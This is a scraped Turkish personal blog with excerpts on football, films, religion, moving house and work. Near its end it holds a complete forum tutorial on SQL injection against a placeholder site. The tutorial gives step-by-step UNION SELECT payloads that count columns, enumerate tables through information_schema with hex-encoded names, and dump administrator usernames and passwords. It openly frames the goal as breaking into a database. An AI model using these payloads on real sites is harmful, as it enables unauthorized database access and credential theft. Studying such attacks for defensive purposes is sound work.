Tam olarak tarih belli değil ama önümüzde ki üç ay boyunca sıkı bir sınav maratonuna hazırlanmaya karar verdim. Bu nedenle bu süre boyunca ...
Tembelliğimin tavan yaptığı, paylaşma konusunda kıpırdayamadığım son günlerde ha gayret edasıyla 2. gün önce izlediğim film hakkında bir ...
Sınav öncesi sessizlik serisinin 2. filmi olarak Kuzgun dan bahsetmek istiyorum.. Film de bir dedektif ile cinayet romanı yazarının, ...
Yeni bir çalışma maratonu öncesi kendimi rahatlama moduna sokmuş durumdayım. Zaten bloggerlık konusunda da sıkıntı çektiğim bir dönemd...
Büyük şehir koşuşturması değil asıl yoğunluk... Aklın toparlanamaması, Kendinden kaçış belki de... Bazen içimden geçenler dökül...
Bazen bir video saatlerce konuşmaya bedeldir... Belçika Bankalar Birliği’ nin hazırladığı bu ilginç tanıtım, gizli kalması gereken ...
insan bazı klişeleşmiş lafları yaşayarak öğrenince ister istemez kanıksıyor. Doğruluğunu daha iyi hissediyor. Yaklaşık 6 ay kada...
|
Filistin Başı yine dertte hasta Filistin Halini soran yok küstü Filistin Bebeler vurulmuş yasta Filistin Bayram neyine savaşta Filis...
Etkilenmemek mümkün değil... Mutlaka dinleyin...
http://map.honeycloud.net/
Honeymap ile dünya üzerindeki saldırıya uğrayan bilgisayarlar izlenebiliyor. Kırmızı noktalar saldırıya uğrayan bilgisayarlar ...
Günlük tutar gibi yaşadıklarımı yazma alışkanlığım yoktur aslında. Ben hep yazmak istediğim zaman aklıma gelen konular hakkında saçmalama...
Ah şu bayramlar edebiyatı gençliğin en çok canını sıkan konuların başında geliyordur eminim. Her bayram sabahı babamızın elimizden tutup ...
Zor ve yorucu bir gündü. Hele şükür gün bitti diye içimden geçirerek metroya doğru adımlarken önümde telefonla konuşan şık giyimli orta yaş...
Bu da çalışmamın ilk hali... Kendime imza yapmaya çalışıyordum... Sanırım oldu...
Sevgili Rainman kardeşimin isteğini yerine getirdim. Yoksa beni bilen bilir, küfürle işim olmaz :) Tabi bu hacer milletine güven olmaz... Hemen adet yerini bulsun diye ss mizide koyuyoruz :)
Sevgili Rainman kardeşimin isteğini yerine getirdim. Yoksa beni bilen bilir, küfürle işim olmaz :) Tabi bu hacer milletine ...
Bu kadar zor bir dönemde Beşiktaşk taraftarının yüzünü güldürmeyi başaran Basketbol takımını tebrik etmek lazım... Beşiktaşın ne olduğu...
Sabah 8 gibi erken saatlerde gelen evden hırsızlıklarda ev sahibi uyurken hırsız girmiştir ya da pazar akşamı geliyorsa ihbar tatil dönüşü evde sürprizle karşılaşan bir aile vardır karşınızda... Örnekler çoğaltılabilir... Burada olayın türüne göre daha olaya gitmeden olay yerinde hırsıza dair iz bulup bulamayacağınızı biliyorsunuz...
Her olayda gerekli çalışmalarınızı yapmanızın yanında mağdur ailenin de bilgilendirilmesi önemlidir. Hırsızı bulamasanız bile yaptığınız bilgilendirme ile olayın tekrarlanmasının önüne geçmek gereklidir. İşte bu bilgilendirmeye örnek çok güzel bir olay;
Hırsızlığın yoğun olduğu bir ilde çalışıyorum. Haliyle bu durum da hırsızların çalışma yöntemleri hakkında da genel bir fikir sahibi oluyo...
Uzun bir aradan sonra yaklaşık 1 yıldır az çok hacerlerin dünyasını takip ediyordum. HACER çünkü eskiden yaş itibarı ile hem büyük hem ...
Son zamanlarda çevremde dönen sağlık problemleriyle boğuşuyordum. Son 1 ay içerisinde önce annemin safra kesesi ameliyatı, sonrada kızımı...
Yıllar önce yani kulağımdan wolkmen in düşmediği yıllardı. Hem üniversite hazırlığı, hem akşama kadar süren meslek...
Kadir Gecesi Kur’ân-ı Kerîm’de medhedilen en kıymetli gecedir. Kadir gecesinin fazîleti, üstünlüğü (bin aydan daha fazîletli, kıym...
Son bir kaç yıldır arap baharı adında kanlı bir ortadoğu filmiyle karşı karşıyayız. Ortadoğunun büyük güçler tarafından şekillendirildiği...
Şimdi açtım blogumu ve uzun bir bakışmadan sonra aklımdan dökülenleri karaladım... Umarım bu yoğunlukta bir sonraki buluşmamız bu kadar uzun sürmez ve içi dolu bir şeyler karalarım...
Selametle//
Bu kadar aradan sonra bloguma bile yabancılaşmışım. Günlük koşuşturmaca ve yeni bir düzen kurma çalışmalarımla o kadar meşgulüm ki kendimi u...
Bir taşınma serüvenidir aldı başını gitti. Gerek internet gerekse 2, hatta 3. kuşak arkadaşlar aracılığıyla Ankara da ev arayışlarım tüm hı...
Ahmet: Eryaman dan tut, daireler yeni, ısınma problemi çekmezsin, ulaşımda zor değil...
Mehmet: Eryaman dan tutacağına Sincan dan tut, hem aynı mesafe sayılır hem daha ekonomik...
Cemil: Her gün 1 saat yol çekilir mi... Kızılay a yakın yerden tut bence...
Zeki: Etlik ten tut, hem merkezi hem de kiralar çok yüksek değil...
Cemil: Etlikteki daireler eski, oradan tutacağına biraz daha git Esertepe den tut...
Kamil: Esertepeden daire mi tutulur, orası gecekondu mahallesi akıllı ol kardeşim... Keçiören e bak...
Fatih: Çok uzağa gitme merkez de toki konutları varmış, en ideali o, hem yakın hem ucuz...
Ceyhun: Keçiören Aktepe tarafından tut, ulaşımda kolay, marketlerde ayağının altında...
Zehra: Demetevler nasıl, bence çok memnun kalırsın...
....
Şeklinde uzayıp gidiyor... Biliyorum biri dışında hepsi bana aptal diyecek...
Not: Konu gerçek ama isimler değiştirilmiştir ;)
Abdullah Ankara da kiralık daireyi nereden tutacak? Herkes gibi, ısınma ve ulaşım problemi olmayan ve olabildiğince ekonomik bir daire arayı...
ve ikinci el kitaplardan tanıyan çocuk
ayıp olmuyo mu böyle şiirlerinde
molotoflar kafaya sıkmalar falan?
Sen Taksim otobüsüne binerken
sesli selam vermeye utanan çocuk
o gün tekbir çığlıklarıyla fırlıcan mı cidden meydanlara?
Sen miting alanlarında bile
inceden bacılarını kesen çocuk
şimdi harbi harbi ‘kahrolsun (mu) amerika’ya?
Sen camı açık unutsa başı ağrıyan çocuk
devrim deyip de güldürme lan beni!
-Muğayir Muharip
Sen devlet güçlerini abi sohbetlerinden ve ikinci el kitaplardan tanıyan çocuk ayıp olmuyo mu böyle şiirlerinde molotoflar kafaya sıkmalar...
Seninle öğrendim Futbol un sadece bir oyun olmadığını...
Çocukluğumda bir eğlence, gençliğimde aşk tın, tutku oldun...
Seninle Metin, Ali, Feyyaz oldum...
Buluşma saatlerimizi iple çektim çoğu zaman...
Ayrılırken de bir sonraki buluşmayı özledim...
Beni kızdırdığın da oldu ama hiç kırmayı başaramadın...
Tanımadığım insanları sevdim sayende...
Yaptıklarınla gururlandım çoğu zaman...
Seninle oldu tüm pembeler siyah beyaz...
Seninle öğrendim Futbol un sadece bir oyun olmadığını... Çocukluğumda bir eğlence, gençliğimde aşk tın, tutku oldun... Seninle Meti...
Üzerinde düşünüp de kararsız kaldığım konulardan biri de hacking dir. Ben burada siyah şapkalı beyaz şapkalı ayrımını bırakıp aslında ...
Bu gün İşimiz gereği 4 arkadaş Rize Merkeze gittik. Öyle saatlerinde de Rize merkezde bulunan Orta Cami de Cuma namazı kılmaya karar verdik. Bu arada cami dışarısındaki hoparlörlerden bir hoca ateşli ateşli bir şeyler anlatıyordu. Neyse ne diyor lan bu adam edasıyla bir yer buldum oturdum. Birader böylemi vaaz verilir. Hemen aklımda kalanları kısaca özetleyeyim.
Malumunuz yarın akşam Miraç Kandili, bu nedenle de konumuz miraç. Ne olmuştu Miraç ta? Hz Allah Peygamber efendimizi Miraca çıkarıp orada kendisiyle görüşmüştü ve bunu da Peygamber efendimiz ümmetine anlatmıştı. Peki biz ümmeti olarak doğrumu anladık? Hz. Allah kendisi Mescidi Aksaya gelip burada görüşemez miydi Rasülüyle? Burada Allah ın Rasülü ümmetine 1400 yıl önce siz de arkamdan gelin uzayı keşfedin demek istedi ama ilk Yuri Alekseyeviç Gagarin uzaya çıktı biz de onu izledik. Daha sonra Allah ın Rasülü ümmetine Miraç ta Melekler tarafından göğsünün yarıldığını, içerisinden kalbinin çıkarılarak altın bir tepside yıkandıktan sonra tekrar yerine konulduğunu anlattı. aslında bize düpe düz açık kalp ameliyatının nasıl yapılacağını anlattı ama biz anlayamadık. Yıllar sonrada Alfred Blalock un yanında çıraklık yaparak öğrendik. Yine Allahın Rasülü ümmetine Miraçta meleklerin kendisini Mescit i Aksaya götürüp gezdirdiklerini anlatıyor ama müşrikler bir gecede bunun mümkün olmadığını söyleyerek gittiğini kanıtlaması için efendimize Mescit i Aksanın kaç tane kapısı, kaç tane penceresi olduğunu soruyorlar. Tabi Allah ın Rasülü ben Mescit i Aksaya kapı pencere saymak için gitmediğim için bu özellikleri bilemezdim diyor. Ama müşriklere bilmediğimi söylesem kimse gittiğime inanmazdı, bildiğimi söylesem de cevap veremezdim, bunun için Kabe de el açıp Allah a dua ettim, sonra Mescit i aksa ile aramdaki mesafe kaldırıldı ve Mescit i aksa gözümün önüne getirildi diyor. Aslında Allah ın Rasülü bize canlı yayını anlatıyordu. Ama biz bunu da Yabancı bilim adamlarından aldık. Neden? Gericilik ve yobazlık adı altında Kuran ı Kerimi ve hadisleri üniversitelerimize sokup araştırma yapmadık, yaptırmadık... Bakın Müslümanlar aslında Miraç ta maddeninde ışınlanarak yer değiştirebileceği anlatılıyor, bütün bu hadisler ve Kuran ı Kerim üniversitelerimizde incelenmeli...
Devamı da var aslında ama miraç la ilgili benim aklımda kalanları özetleyerek yazmaya çalıştım. Birader adam öyle hazırlanmış ki yada öyle dolmuş ki hangi icadı hangi bilim adamının yaptığını söylüyor. Daha ne örnekleri var, ne anlatımları var. Adam öyle mi gaza getirilir, haydi Ya Allah dese silahları kuşanıp cihada gideceğiz sanki... Ya abartma Abdullah, ilk kez mi camiye gidiyorsun dediğinizi duyar gibi oldum... Elbette ilk kez camiye gitmiyorum ama aşağıdaki videoya bakın, bu arkadaş ta -aynı cami mi bilemiyorum ama- Cuma namazı öncesi dinlediği Vaaz sırasında bu hale gelmişti. Son olarak buradan hocalarımıza sesleniyorum, lütfen cemaatinizi daha önceden hazırlayın bu konuşmalarınıza...
Bu arada sabırla yazımı okuyan dostlarım Hepinizin Miraç Kandilini kutlarım...
Selam ve Dua ile
[youtube=http://www.youtube.com/watch?v=4ixra7EuPw8&feature=related]
Bu gün İşimiz gereği 4 arkadaş Rize Merkeze gittik. Öyle saatlerinde de Rize merkezde bulunan Orta Cami de Cuma namazı kılmaya karar v...
Mücadelenin yanında şansıda olmalı insanın. 4 takımlı grupta ilk iki maçını beceriksizlik+şansızlık sonucu kaybeden bir takımın oyuncusuydum. Son maçta sahaya çıkmanın bir anlamı yoktu sanki ama temsil ettiğin kurum adına sahaya çıkıp oynamak en etik olanı olmalı diye düşündük. Hiç stres ve baskı olmadan oynayıp bize 3 atmak amacıyla gelen takıma 4 atıp yolladık. Bu sırada bize değen sihirli değnekten haberimiz yoktu. Ne oldu anlayamadan 3 puanla gruptan çıkmayı başaran 2. takım olduk ve çeyrek finale çıktık. Bir sonraki rakibimizde geçen seneki başarısına güvenerek üzerimize geldiler ama ezilmedik. Tartışmalı bir penaltıyla öne geçseler de hakemin yanlış kararıyla son dakikalarda beraberliği sağladık. Bu rakibimizi de penaltılarla geçtikten sonra turnuvanın zayıf halkası adeta sürpriz at oldu. Yarı finaldeki rakibimiz esnaflar bize çerez takım çıktı tavırlarıyla eğlenirken maçın çetin geçeceğinin farkında bile değillerdi. Yine haksız bir hakem kararıyla -ilahi adalet, bir önceki maçta attığımız haksız golle sağlandı- yenildik. Turnuva boyunca en çok bu maça üzüldüm, insan emeğinin karşılığını alamayınca gerçekten bozuluyormuş, anladım. Artık işimiz 3 lük 4. lük maçına kalmıştık. Arkadaşlarımızın çoğu sakatlanıp perte ayrılmış, sahaya 8 kişilik takım bile çıkaramıyorduk. Yine son dakika kör topal sonunda ödül mü var sanki edalarıyla sahaya çıktık. Defansın göbeği ben ve kalecimiz Hakan abi forvet olduk. Eski forvetler defans. Rakip takım turnuvada ilk oynadığımız ve bize 3 atan takım adliye. O kadar rahatlar ki, eğlence yapmaya geldik havalarındalar. Kalecileri parmağından sakat ve zayıf takıma karşı gol atma heveslisi... Uzatmayalım, bu kardeşiniz 3 gol attı ve maçı 5-3 kazandık. Sonra final maçını da izleyelim derken baktık ki turnuva 3. süne de kupa var.
Allahhhhh beee... bundan sonrası tam bir eğlence. Kurumuzun kupa müzesi boş demeyeceğim, kupa müzemiz bile yok. Tarihinde ilk kupayı biz almışız. Yani anlayacağınız afrikalı çocuklar buz hokeyi maçında 3. olmuş... Tarihe geçtik lan... -Kim hatırlayacaksa:))-
21 Haziran!... Yılın en uzun gününü tüm takım gülerek eğlenerek geçirdik...
Mücadelenin yanında şansıda olmalı insanın. 4 takımlı grupta ilk iki maçını beceriksizlik+şansızlık sonucu kaybeden bir takımın oyuncu...
Kurumlar arası turnuvamız bu senede başladı. Öncelikle hepimize hayırlı uğurlu olsun.
Geçen seneki halim bir an gözümün önüne geldi. Takım ayarlama konusunda öncülerdendim ve takımımız diskalifiye olmuştu. Uzun hikaye, bu konuya hiç girmeyeceğim...
Bu sene kurumumuzdaki iyi oynadığını düşündüğümüz arkadaşlarımızla iki ayrı takım kurduk. Bu durum iyi gibi görünse de aslında gücümüzü böldüğümüz turnuva boyunca anlaşılacak, eminim... Bu sene oynadığım takımdan başarı adına bir beklentim yok. Kendine güvensizlik gibi algılanmasın ama hem içine düştüğümüz grupta bizden çok güçlü takımlar var hemde yedek kulübemiz boş..
Bu akşam yani bir kaç saat önce geçen senenin şampiyonu olan adliye ile maçımız vardı. Tüm öğleden sonramı arkadaşlara direk kaleyi düşünmeyin, pas yaparak rakibi yoralım fikrini enjekte etmeye çalıştım... Maçın başlarında da bu oyun tarzımız tuttu. rakip erken yorulmaya başladı. bunun avantaj olacagını düşünmüştüm aslında ama zaafımız ortaya çıktı. Yorgun rakibe karşı oyun disiplininden kopmaya başladık. Topu alan rakip kaleyi düşünmeye başladı. Aradığımız golü de bulamayınca bizde oyundan düşmeye başladık. Neyse ki ilk yarıyı gol yemeden kapattık...
İkinci yarı rakip daha çekingen başladı, kapalı oyunu tercih ederek en iyi oyuncularını ileri çıkardılar. İşte tam bu sırada Tribünde bulunan meslektaşlarımız devreye girdi. Bir tanesinin elinde cep telefonu (Ali abi) yanında da iki üç arkadaş bağırıyor.
Abdulllaaaaahhhhhh angaraya çıkmış tayinin...
Fatih Mazlummmmm sinop
Hele o sırada top ayağında gole giden arkadaşımıza bağrışlarını her halde ömür boyu unutamayacağım.. Fatih Sarıııııı baksana laaaannnn İzmir olum izmiiirrrr
Bir anda tüm takım nerede olduğunu şaşırdı, herkesin dikkati tribüne döndü. Bu sırada rakip sağ kanattan atağa kalkmış... Ne zaman geldin arkadaş... Ve gollllll :(
Süpriz bir galibiyet beklerken yenen gol bir anda tüm takımın forvet olmasına neden oldu. Tüm takımın forvet olması kondisyon sorununu ortaya çıkardı. Bir de hakemle olan tartışmamız eklenince biraz tadı kaçtı işin... Sonunda 3-0 yenildik...
Burada unutmadan rakip takımı takdir etmeliyim. Rakibin şutunda kısa mesafede top elime çarptı, hakem topun yön değiştirdiğini düşünerek penaltı kararı verdi. Ben hakemin yanına gidip buna penaltı veriyorsan bana kırmızı çıkarmalısın dedim. Hakem kart çıkar(a)madan penaltıyı kullandırttı. Neyse rakibin kalecisi geldi ve bariz olmayacak bir şekilde penaltıyı dışarı attı. Bunda tribünden gelen tepki ve rakibin 3-0 önde olmasının etkisi olsa da takdir ettim.
Bu arada ben Rize ye geleceğimi de bir halı saha maçında öğrenmiştim... İlginç bir tevafuk oldu... Hakkımızda hayırlısı...
Unutmadan maçı rakip takım videoya aldı. Bulursam buradan yayınlamayı düşünüyorum...
Kurumlar arası turnuvamız bu senede başladı. Öncelikle hepimize hayırlı uğurlu olsun. Geçen seneki halim bir an gözümün önüne geldi....
İnternet gezintim sırasında tesadüfen bulduğum bir program sayesinde afiş, dergi kapağı vb. tasarımlar rahatlıkla yapılabiliyor. Hem pr...
Bir ilçede yaşıyorsan ve benim yaptığım işi yapıyorsan muhtemelen o ilçede yaşayan insanların büyük çoğunluğu hakkında özette olsa bir fikrin olur. Yani olması gereken ve senden beklenen budur. Bundan bir kaç ay önce ilçede ki rehabilite edilen çocuk sayısının 300 ün üzerinde olduğunu öğrendiğimde yaşadığım şaşkınlık hala dün gibi belleğimde... Oysa ben 7 bilemedin 10 kişi olabileceğini tahmin etmiştim. Nereden bileceksiniz ki yaşam alanınızda servis, ev ve okul döngüsünde geçen başka dünyalarında yaşadığını. O kadar soyutlamışız ki varlıklarından haberimiz bile yok.
Şimdi zorlamayla da olsa yeni bir proje üzerinde çalışıyoruz. Rehabilite edilen bedensel ve zihinsel engelli çocuklarla ilgili. Geride kalan bir haftalık sürede yaşadıklarım muhtemelen her can sıkıntım da aklıma gelecek. Rehabilite edilen çocukların durumu... Hiç birinin gelecekle ilgili bir planı, evlilik ve ev hayali yok. Sadece o anı yaşıyorlar. Çoğu ürkek bir kuş gibi. Yanınıza gelmek zorunda olduklarını hissettikleri için geliyorlar. Tek savunmaları titremek... Nadir de olsa korkusunu yenip yanıma sokulanlar da var. Tüm doğallığıyla ne yapmak istiyorsa onu yapıyor. Dünya umurunda değil...
Peki ya aileler ve öğretmenler? Yaptığınız her şeyi acıyarak yapıyorsunuz. Acıyarak gel demek,git demek, acıyarak sevmek, acıyarak kızmak... Aklınıza ne gelirse...
Ölümü bekleyen hayatlar bunlar...
Ne yapılabilir ki?
...
Bir ilçede yaşıyorsan ve benim yaptığım işi yapıyorsan muhtemelen o ilçede yaşayan insanların büyük çoğunluğu hakkında özette olsa bir ...
Yaklaşık 1 hafta kadar önce değerli kardeşim flooo nun http://forum.grupyenicag.org sitesinde gördüğüm bir konuydu. Hemen ilgimi çekti. Ücretsiz ve tasarım konusunu bir arada görünce balıklama atladım.
Geçen hafta ilgilenmek istediğimde yoğunluktan dolayı hata mesajı alıyordum ama bugün ortaya bir şeyler çıktı. http://www.says-it.com/seal bu siteden kendinize özel güzel tasarımlar çıkartabilirsiniz.
Yaklaşık 1 hafta kadar önce değerli kardeşim flooo nun http://forum.grupyenicag.org sitesinde gördüğüm bir konuydu. Hemen ilgimi çe...
Selamun aleyküm arkadaşlar.
Bi döküman yazayım diye düşündüm. Size baştan sona sql inj. mantığını anlatmayı planlıyorum arkadaşlar.karşımızda bir site var biz veritabanına sızıcaz bu konuda kararlıyız başlayalım o zaman
http://www.sql.com/news.php?id=7 -----> sitemiz bu ik olarak id değerimizin sonuna ' işareti koyarak sql sorgularını çalıştırıp çalıştırmadığını anlıyoruz. Eğerki hata verirse sql sorgularını çalıştırabiliyor demektir ve bizde bu sql sorgularıyla veritabanından bilgi çekebiliriz.
Hatamızı aldık nasıl olabilir bu hatalar ?
Sayfadaki veriler gelmeyebilir.
Sayfada anlamsız garip warning mysql include gibi şeyler yazar. Yani sql hataları görünür.
Hatamızıda aldığımıza göre tam gaz devam sırada kolon sayısını öğrenmekvar ve order+by+1 komutunu id değerimizin sonuna yazıyoruz:
http://www.sql.com/news.php?id=7+order+by+1 ---> yazdık ve sayfadaki hatalar yeniden geldi ? Hönk nasıl lan gitmiyomuydu böyle
bazı sitelerde karşınıza çıkar arkadaşlar böyle olduğu zamanlar sorgumuzu şu şekilde devam ettireceğiz:
http://www.sql.com/news.php?id=7+order+by+1-- sona koyduğum 2 tane tire dikkatinizi çeksin bu sql sorgularında kullanılır. yazdık ve ekran geri geldi tertemiz ilk günkü gibi şimdi artırıyorum kolon sayısını
http://www.sql.com/news.php?id=7+order+by+10-- hata var
http://www.sql.com/news.php?id=7+order+by+9-- hata var
http://www.sql.com/news.php?id=7+order+by+8-- hata var
http://www.sql.com/news.php?id=7+order+by+7-- sayfa aynen geldi
demekki kolon sayımız 7 ve bunu farklı bir sql sorgusu şeklinde tekrar yazalım:
http://www.sql.com/news.php?id=7+union+select+1,2,3,4,5,6,7-- bazılarıda 0dan başlıyor o zaman şöyle oluyor söyleyim kafanız kaırşmasın:
http://www.sql.com/news.php?id=7+union+select+0,1,2,3,4,5,6--
her ikiside olur arkadaşlar yazdık sayfa geldi -- yine koyduk bazı siteler o olmadan sonuç vermiyor çünkü şimdi devam ekran yine aynen geldi o zaman bi - daha kullanacağız:
http://www.sql.com/news.php?id=-7+union+select+1,2,3,4,5,6,7-- dikkatli bakın id değerinin önüne - koydum ki id değerindeki veriler ekrandan gitsin bize yansıyan kolonları göstersin ve öylede oldu 3 - 5 - 7 bu kolonlar yansıdı ( her sitede farklı olur neden bende bunlar çıkmadı demeyin ) nasıl anlarız diye endişelenmenize gerek yok yazdığınız zaman onlar zaten kendini belli eder. şimdi bize tablo isimleri lazım sallamasyona hiç gerek yok mysql yapıyoruz sonuçta ( neden gerek yok : mysql 5 sistemlerde information_schema diye bir database vardır bu databasenin içinde datalar hariç tüm sql veritabanı kayıtlıdır tablolar ve kolonlar gibi yani ) information_schema dbsindeki tables tablosundan table_name kolonunu çekicem ve bana tüm tablo isimlerini vericek:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables--
ama bi gariplik var olur tabi çünkü tüm tabloları göster dediğimizde information_schema ve diğer databaselerdeki tablolarıda gösterir bize lazım olan sadece kendi databasemizdeki tablolar bu yüzden sorguyu şu şekilde değiştiriyorum:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(table_name),4,5,6, 7+from+information_schema.tables[color=#FFFF00] where table_schema=database()--[/color]
normalde burada hex kodlarıylada databasemizi belirtiriz ama ona henüz gerek yok böyle yazsanızda olur. evet işte şimdi oldu bakın 3 kolonunun olduğu yerde diyorki adminuser,news,product,images,music bize burada adminuser tablosu lazım o zaman adminuser tablosundan veri çekeceğiz ama nasıl çekeceğiz kolonları bilmiyoruz ? cevap: kolonlarıda information_schema'dan çekicez bu sefer sorgum şu:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(column_name),4,5,6 ,7+from+information_schema.columnswhere table_schema=database() and table_name=0x61646d696e75736572--
burada information_schema databasesindeki columns tablosundan column_name isimli kolondaki datayı çektim ama tüm kolonlar gelmemesi için biraz sınırlandırdım bu sınırlandırmalar where komutundan sonra başlıyor ilk olaraktable_schema=database() bu diyorki databasemizdeki kolonları çek diğerlerini değil and table_name=0x61646d696e75736572buda diyorki databasemizdekileri çek ve tablo ismi adminuser olan tablodaki kolonları çek 61646d696e75736572 bu yazılar hexkodlarıdır. hex encoder ve decoderlerde decode edince adminuser yazısını görürsünüz. hex kodları kullandığımız zaman kodların başına 0x koyarız sorguyu baştan sona anlattım
şimdi devam username,password,email falan geldi username ve password'u alalım
sorguyu dahada basitleştiriyoruz artık:
http://www.sql.com/news.php?id=-7+union+select+1,2,group_concat(username,0x3a,pass word),4,5,6,7+from+adminuser--
bu sorguyuda anlatmama gerek yoktur diye düşünüyoruz ama group_concat'ın içi hakkında biraz bilgi vereyim. group_concat istediğimiz verilerin tümünü çekmemizi sağlar yani ben username'yi group concatsız yazsam sadece bir tane gelir ama group_concat parantezinin içine alsam tüm veriler gelir. aynı zamanda virgül koyup farklı kolonlardaki bilgileride çekebiliriz karışmaması açısından bende aralarıda : ( ikinokta ) koydum 3a hex dilinde : demektir. 0x zaten hex kodlarının başında yer alıyordu gelen verilere bakalım:
admin:qwerty,sqladmin:passql
2 tane adminimiz varmış bunu virgülden anladım çünkü sorguyu şöyle verdim:
önce adminin usernameyi ver araya : koy şifreyi ver.
sonrada virgül koyarak diğerlerini bu şekilde sıralamaya devam eder
Arkadaşlar dökümanı gerçekten tam anlayabileceğiniz şekilde sıkmadan anlatmaya çaıştım Lisan-ı Sürç olduysa affola
Amaç arşivde kalsın... Selamun aleyküm arkadaşlar. Bi döküman yazayım diye düşündüm. Size baştan sona sql inj. mantığını anlatmayı planlıy...
Tanımak için yıllara, anlaşmak için konuşmaya gerek var mı sizce? Duygusal bir güne Merhaba Dünya demek için izleyin;
Her hafta oynadığımız Halı Saha maçlarımızdan edindiğim tecrübeye göre yazıyorum bu yazıyı :D Hemen hemen her takım maça 3-2-1 taktiği ile ...
El Cewad kardeşim sayesinde farkına vardım. Adam aslen İranlı ama ABD de yaşıyormuş. Kesinlikle müzik konusunda deha olduğuna inanmaya ba...
Hoşgeldiniz
